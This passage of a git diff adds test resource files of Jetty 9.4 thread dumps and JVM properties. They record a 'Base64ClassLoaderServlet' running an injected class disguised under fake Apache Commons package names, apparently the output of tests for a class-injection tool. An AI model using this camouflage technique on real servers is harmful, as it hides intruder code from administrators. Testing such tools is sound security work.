sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:263) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:211) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:249) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@3c96b183 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"qtp425918570-16" #16 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4d8ab94 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:392) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:563) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$800(QueuedThreadPool.java:48) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:626) + at java.lang.Thread.run(Thread.java:750) + +"Scheduler-511833308" #21 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44621cf + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"qtp425918570-13" #13 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:263) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:211) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:249) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589) + at java.lang.Thread.run(Thread.java:750) + +"Scanner-0" #22 daemon [TIMED_WAITING] on java.util.TaskQueue@6d46d53e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"qtp425918570-20" #20 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:263) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:211) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:249) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589) + at java.lang.Thread.run(Thread.java:750) + +"qtp425918570-19" #19 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4d8ab94 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:392) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:563) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$800(QueuedThreadPool.java:48) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:626) + at java.lang.Thread.run(Thread.java:750) + +"qtp425918570-15" #15 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4d8ab94 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:392) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:563) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$800(QueuedThreadPool.java:48) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:626) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2c035709 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"DestroyJavaVM" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp425918570-14-acceptor-0@1ecdbacd-ServerConnector@29626d54{HTTP/1.1,[http/1.1]}{0.0.0.0:8080}" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:397) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:601) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.commons.PrClk.ErrorHandler +org.eclipse.jetty.io.AbstractConnection$ReadCallback +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.io.SelectChannelEndPoint$2 +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.HttpChannel +org.eclipse.jetty.server.HttpConnection +org.eclipse.jetty.server.ResponseWriter +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.handler.HandlerCollection +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$CachedChain +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$2 +org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume +org.eclipse.jetty.websocket.server.WebSocketUpgradeFilter diff --git a/integration-test/src/test/resources/infos/Jetty94ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty94ContainerTestBasicInfo.txt new file mode 100644 index 00000000..a2907abe --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty94ContainerTestBasicInfo.txt @@ -0,0 +1,340 @@ +# Generated At 2025-08-10 14:58:49 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +sun.boot.library.path: /opt/java/openjdk/lib/aarch64 +java.vm.version: 25.442-b06 +java.vm.vendor: Temurin +java.vendor.url: https://adoptium.net/ +path.separator: : +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +user.country: US +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /var/lib/jetty +java.runtime.version: 1.8.0_442-b06 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /opt/java/openjdk/lib/endorsed +os.arch: aarch64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +sun.jnu.encoding: UTF-8 +jetty.git.hash: df524e6b29271c2e09ba9aea83c18dc9db464a31 +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +jetty.home: /usr/local/jetty +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /var/lib/jetty +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +java.class.path: /usr/local/jetty/lib/mail/javax.mail.glassfish-1.4.1.v201005082020.jar:/var/lib/jetty/resources:/usr/local/jetty/lib/servlet-api-3.1.jar:/usr/local/jetty/lib/jetty-schemas-3.1.jar:/usr/local/jetty/lib/jetty-http-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-server-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-xml-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-util-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-io-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-jndi-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-security-9.4.57.v20241219.jar:/usr/local/jetty/lib/transactions/javax.transaction-api-1.3.jar:/usr/local/jetty/lib/jetty-servlet-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-webapp-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-plus-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-annotations-9.4.57.v20241219.jar:/usr/local/jetty/lib/annotations/asm-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-analysis-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-commons-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-tree-9.7.1.jar:/usr/local/jetty/lib/annotations/javax.annotation-api-1.3.2.jar:/usr/local/jetty/lib/apache-jsp/org.eclipse.jdt.ecj-3.26.0.jar:/usr/local/jetty/lib/apache-jsp/org.eclipse.jetty.apache-jsp-9.4.57.v20241219.jar:/usr/local/jetty/lib/apache-jsp/org.mortbay.jasper.apache-el-8.5.100.jar:/usr/local/jetty/lib/apache-jsp/org.mortbay.jasper.apache-jsp-8.5.100.jar:/usr/local/jetty/lib/apache-jstl/org.apache.taglibs.taglibs-standard-impl-1.2.5.jar:/usr/local/jetty/lib/apache-jstl/org.apache.taglibs.taglibs-standard-spec-1.2.5.jar:/usr/local/jetty/lib/jetty-client-9.4.57.v20241219.jar:/usr/local/jetty/lib/jetty-deploy-9.4.57.v20241219.jar:/usr/local/jetty/lib/websocket/javax.websocket-api-1.0.jar:/usr/local/jetty/lib/websocket/javax-websocket-client-impl-9.4.57.v20241219.jar:/usr/local/jetty/lib/websocket/javax-websocket-server-impl-9.4.57.v20241219.jar:/usr/local/jetty/lib/websocket/websocket-api-9.4.57.v20241219.jar:/usr/local/jetty/lib/websocket/websocket-client-9.4.57.v20241219.jar:/usr/local/jetty/lib/websocket/websocket-common-9.4.57.v20241219.jar:/usr/local/jetty/lib/websocket/websocket-server-9.4.57.v20241219.jar:/usr/local/jetty/lib/websocket/websocket-servlet-9.4.57.v20241219.jar +user.name: jetty +jetty.base: /var/lib/jetty +java.vm.specification.version: 1.8 +sun.java.command: org.eclipse.jetty.xml.XmlConfiguration at.least.java9=false java.io.tmpdir=/tmp/jetty java.version=1.8.0_442 java.version.major=1 java.version.micro=0 java.version.minor=8 java.version.platform=8 jetty.base=/var/lib/jetty jetty.base.uri=file:///var/lib/jetty jetty.home=/usr/local/jetty jetty.home.uri=file:///usr/local/jetty runtime.feature.alpn=true /usr/local/jetty/etc/jetty-bytebufferpool.xml /usr/local/jetty/etc/jetty-threadpool.xml /usr/local/jetty/etc/jetty.xml /usr/local/jetty/etc/jetty-webapp.xml /usr/local/jetty/etc/jetty-plus.xml /usr/local/jetty/etc/jetty-annotations.xml /usr/local/jetty/etc/jetty-deploy.xml /usr/local/jetty/etc/jetty-http.xml +java.home: /opt/java/openjdk +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_442 +java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes +java.vendor: Temurin +java.specification.maintenance.version: 6 +file.separator: / +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"qtp1579572132-14" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1579572132-20" #20 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.commons.lang.EpXys.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.eclipse.jetty.server.ResponseWriter.print(ResponseWriter.java:312) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.eclipse.jetty.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1459) + at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:799) + at org.eclipse.jetty.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1656) + at org.eclipse.jetty.websocket.server.WebSocketUpgradeFilter.doFilter(WebSocketUpgradeFilter.java:292) + at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:193) + at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1626) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:201) + at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1626) + at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:552) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143) + at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:600) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127) + at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235) + at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1624) + at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233) + at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1440) + at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188) + at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:505) + at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1594) + at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186) + at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1355) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141) + at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:191) + at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:146) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127) + at org.eclipse.jetty.server.Server.handle(Server.java:516) + at org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:487) + at org.eclipse.jetty.server.HttpChannel$$Lambda$95/1518187053.dispatch(Unknown Source) + at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:732) + at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:479) + at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:277) + at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311) + at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105) + at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:338) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:315) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produce(EatWhatYouKill.java:137) + at org.eclipse.jetty.io.ManagedSelector$$Lambda$81/1321530272.run(Unknown Source) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1579572132-13" #13 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1579572132-16" #16 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@14739091 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.reservedWait(ReservedThreadExecutor.java:324) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:399) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6fd122ed + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Scanner-0" #22 daemon [TIMED_WAITING] on java.util.TaskQueue@57b2220 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"qtp1579572132-18" #18 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c8af71 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:382) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:974) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1018) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1579572132-15" #15 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1579572132-11-acceptor-0@512eb49d-ServerConnector@4efbca5a{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}" #11 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:388) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:704) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1579572132-19" #19 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c8af71 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:382) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:974) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1018) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1579572132-12" #12 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at 